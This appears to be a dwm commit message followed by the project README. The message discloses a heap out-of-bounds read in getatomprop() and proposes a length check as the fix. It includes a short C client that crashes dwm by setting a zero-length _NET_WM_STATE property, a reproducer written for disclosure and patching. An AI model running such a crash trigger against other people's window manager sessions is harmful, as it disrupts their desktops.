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When getatomprop() is called, it invokes XGetWindowProperty() to
retrieve an Atom. If the property exists but has zero elements (length
0), Xlib returns Success and sets p to a valid, non-NULL memory address
containing a single null byte.
However, dl (that is, the number of items) is 0. dwm blindly casts p to
Atom* and dereferences it. While Xlib guarantees that p is safe to read
as a string (that is, it is null-terminated), it does _not_ guarantee it
is safe to read as an Atom (an unsigned long).
The Atom type is a typedef for unsigned long. Reading an Atom (which
thus will either likely be 4 or 8 bytes) from a 1-byte allocated buffer
results in a heap buffer overflow. Since property content is user
controlled, this allows any client to trigger an out of bounds read
simply by setting a property with format 32 and length 0.
An example client which reliably crashes dwm under ASAN:
#include <X11/Xlib.h>
#include <X11/Xatom.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void) {
Display *d;
Window root, w;
Atom net_wm_state;
d = XOpenDisplay(NULL);
if (!d) return 1;
root = DefaultRootWindow(d);
w = XCreateSimpleWindow(d, root, 10, 10, 200, 200, 1, 0, 0);
net_wm_state = XInternAtom(d, "_NET_WM_STATE", False);
if (net_wm_state == None) return 1;
XChangeProperty(d, w, net_wm_state, XA_ATOM, 32,
PropModeReplace, NULL, 0);
XMapWindow(d, w);
XSync(d, False);
sleep(1);
XCloseDisplay(d);
return 0;
}
In order to avoid this, check that the number of items returned is
greater than zero before dereferencing the pointer.
dwm - dynamic window manager
============================
dwm is an extremely fast, small, and dynamic window manager for X.
Requirements
------------
In order to build dwm you need the Xlib header files.
Installation
------------
Edit config.mk to match your local setup (dwm is installed into
the /usr/local namespace by default).
Afterwards enter the following command to build and install dwm (if
necessary as root):
make clean install
Running dwm
-----------
Add the following line to your .xinitrc to start dwm using startx:
exec dwm
In order to connect dwm to a specific display, make sure that
the DISPLAY environment variable is set correctly, e.g.:
DISPLAY=foo.bar:1 exec dwm
(This will start dwm on display :1 of the host foo.bar.)
In order to display status info in the bar, you can do something
like this in your .xinitrc:
while xsetroot -name "`date` `uptime | sed 's/.*,//'`"
do
sleep 1
done &
exec dwm
Configuration
-------------
The configuration of dwm is done by creating a custom config.h
and (re)compiling the source code.